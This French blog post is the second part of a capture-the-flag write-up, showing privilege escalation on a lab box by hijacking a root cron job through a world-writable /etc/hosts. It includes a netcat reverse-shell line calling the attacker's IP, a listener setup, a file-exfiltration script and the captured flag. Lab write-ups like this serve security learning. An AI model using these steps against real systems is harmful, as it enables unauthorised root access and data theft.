Ce post est la suite du WriteUp de ma première ‘box’ de niveau Moyen. Je vous invite à lire la première partie qui traite des exploits pour arriver à un accès SSH sur la machine cible, non root. On y parle d’énumération pour découvrir des dossiers web, du bypass d’authentification avec du cookie tampering et de cryptographie.

Récap des infos de base

Le pitch est le suivant:

Des étudiants ont créé un outil de gestion de mots de passe.

  • IP: 10.10.254.153
  • Machine d’attaque: une Kali (même pas last update…) en VPN
  • 2 flags à trouver:
    • Hack the machine and get the flag in user.txt (done)
    • Escalate your privileges and get the flag in root.txt

PrivEsc (Privilege Escalation)

Recherche du fichier buildscript.sh

Je lance une recherche (très basique avec mes maigres moyens) de contenu de fichier pour “buildscript.sh”, récursivement depuis la racine:

james@overpass-prod:~$ grep -r "buildscript.sh" /*

Hop ! Trouvé dans un crontab ! crontab

Donc je sais maintenant que ce script est lancé à interval régulier par le crontab, donc en root. La faille se trouve ici, il faut que je trouve un moyen de mettre mon propre script à la place de l’original.

Exploitation

Il ne m’est pas possible de modifier le crontab, l’accès par le compte de Jamy n’est pas root. Par contre si j’arrive à faire pointer le site vers une autre machine que l’originale, on peut tricher.

Voyons les droits sur le dossier qui héberge les redirections DNS:

jamy@overpass-prod:~$ ls -al /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

Bingo, lecture/écriture pour tout le monde ! Un coup de nano (désolé les VImeurs, les raccourcis ne veulent pas rentrer dans ma tête) et on change pour pointer vers mon IP Kali. modification hosts

Ensuite on créée l’arborescence exacte sur la machine d’attaque:

mkdir -p downloads/src

Puis on créée le script pour mener à un reverse shell:

echo "nc 10.11.81.95 8888" > downloads/src/buildscript.sh

Etant donné que le crontab va chercher le script sur un site, on doit recréer un “site”, pour ça on va utiliser un classique dans le genre: Python. Il faut en parrallèle sur notre machine d’attaque un listener NetCat, pour être présent quand la cible va lancer son crontab.

Je commence par le NetCat

$ nc -nlvp 8888                            
listening on [any] 8888 ...

Puis le Python

python3 -m http.server 80                                
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Et on attend le St Graal…

nc -nlvp 8888                            
listening on [any] 8888 ...
connect to [10.11.81.95] from (UNKNOWN) [10.10.254.153] 39974

Et raté….le listener fonctionne mais par contre, on a pas de shell. Impossible de rentrer une commande. Je vais réviser mon .sh.

Après maintes et maintes tentatives, impossible d’avoir un shell fonctionnel. Mon .sh comportait en effet un problème, il lui manquait l’indicateur en début de fichier pour dire au crontab qu’il s’agissait d’un script bash. Crontab n’est pas un interpréteur bash.

#!/bin/bash

MAIS, tout cela ne fonctionnant pas tout de même malgré beaucoup de tests, je décide de tenter le tout pour le tout: la chance.

La feinte ?

Je change mon script pour celui-ci, afin d’afficher à l’aveugle le flag et surtout pouvoir le lire depuis un emplacement accessible avec mon compte jamy:

#!/bin/bash
cat root.txt >> /tmp/output.txt

La gloire

Tada ! Fichier accessible par mon compte non root.

jamy@overpass-prod:/tmp$ cat output.txt
thm{7f336f8c35qezrzgqer18d54fdd64ea753bb}

ENFIN !

Et voilà ! Après tant de dur labeur ! Finalement parfois les choses les plus simples….sont les plus efficaces. Cependant je suis déçu d’avoir foiré mon premier reverse shell. J’ai tenté le bind shell mais pas mieux.